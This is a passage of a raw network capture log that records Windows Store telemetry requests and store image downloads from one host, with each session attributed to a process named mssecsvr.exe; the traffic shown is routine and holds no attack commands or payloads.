2022-07-20 11:25:22 UTC	7990	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202500Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:22 UTC	7991	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9bbf94c9-b2f0-4e10-8e3b-fde9e4e00539 Date: Wed, 20 Jul 2022 11:25:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.7	52069	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:22 UTC	7991	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202501Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:22 UTC	7992	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4702796a-899d-4150-92d5-71c1d573ba8b Date: Wed, 20 Jul 2022 11:25:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.7	52070	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:22 UTC	7992	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202502Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:22 UTC	7992	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a1609195-4ace-4d10-8f81-4e6e6401ddb0 Date: Wed, 20 Jul 2022 11:25:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.7	52072	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:22 UTC	7993	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202503Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:22 UTC	7993	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 67bbb6d3-5ada-4299-b599-fe802d513fb7 Date: Wed, 20 Jul 2022 11:25:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.7	52080	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:23 UTC	7993	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202504Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:23 UTC	7994	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4ed39573-6e30-4580-9351-ade2aebdb173 Date: Wed, 20 Jul 2022 11:25:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.7	52120	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:23 UTC	7994	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202505Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:23 UTC	7995	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a259c764-551a-416a-bcc3-1f5cb6382e20 Date: Wed, 20 Jul 2022 11:25:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.7	52121	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:23 UTC	7995	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202506Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:23 UTC	7995	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b71bb350-7e65-43c7-9f21-3eeba3b028c4 Date: Wed, 20 Jul 2022 11:25:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49737	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	142	OUT	GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	143	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 7669 Content-Type: image/png Last-Modified: Thu, 24 May 2018 00:36:00 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM" MS-CV: zKJ18ukIb0aTWgjG.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	143	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU X@5P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.7	52123	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:23 UTC	7996	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202507Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:23 UTC	7996	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 276311e9-18f8-46c1-814c-9b5ad38b0721 Date: Wed, 20 Jul 2022 11:25:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.7	52167	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:24 UTC	7996	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202508Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:24 UTC	7997	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 133fca68-cae1-4e35-be2d-7ae72c0b9429 Date: Wed, 20 Jul 2022 11:25:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.7	52172	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:24 UTC	7997	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202508Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:24 UTC	7998	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e41ba62f-3770-4b0b-b41d-63a613534b39 Date: Wed, 20 Jul 2022 11:25:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.7	52174	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:24 UTC	7998	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202509Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:24 UTC	7998	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 000bb76c-37c7-4f9f-9d5d-dad11abb588c Date: Wed, 20 Jul 2022 11:25:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.7	52177	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:25 UTC	7999	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202510Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:25 UTC	7999	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 592b0ec8-6649-496d-9838-0135146e22ae Date: Wed, 20 Jul 2022 11:25:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.7	52223	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:25 UTC	7999	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202511Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:25 UTC	8000	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 029b824e-72e0-4d39-981e-2c42bdbc5d69 Date: Wed, 20 Jul 2022 11:25:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.7	52225	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:25 UTC	8000	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202512Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:25 UTC	8001	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ffb7b566-c3e8-452d-9118-ec0b535fd4ba Date: Wed, 20 Jul 2022 11:25:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.7	52227	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:26 UTC	8001	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202512Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:26 UTC	8002	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c1dca31f-39ae-4931-9dc3-7c23c3c15107 Date: Wed, 20 Jul 2022 11:25:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.7	52230	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:26 UTC	8002	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202513Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:26 UTC	8002	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a92600f1-35aa-44aa-be87-56cca551e1e8 Date: Wed, 20 Jul 2022 11:25:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.7	52236	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:26 UTC	8002	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202513Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:26 UTC	8003	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 73861f17-b413-4aca-bdfa-40aca84ac948 Date: Wed, 20 Jul 2022 11:25:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49738	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	142	OUT	GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	151	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 29489 Content-Type: image/png Last-Modified: Thu, 24 May 2018 00:36:03 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk" MS-CV: ueR7a/BKZkGigRoU.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	151	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 09 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @ @6@ p6 @
2022-07-20 11:23:41 UTC	167	IN	Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b Data Ascii: l9\|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -\|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`\|/z$>=unAn"$\|tLV ,Xx`.bd
2022-07-20 11:23:41 UTC	175	IN	Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.7	52277	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:26 UTC	8003	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202514Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:26 UTC	8004	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b3574706-cf39-4ce0-bd0d-05b89532e51e Date: Wed, 20 Jul 2022 11:25:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.7	52279	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
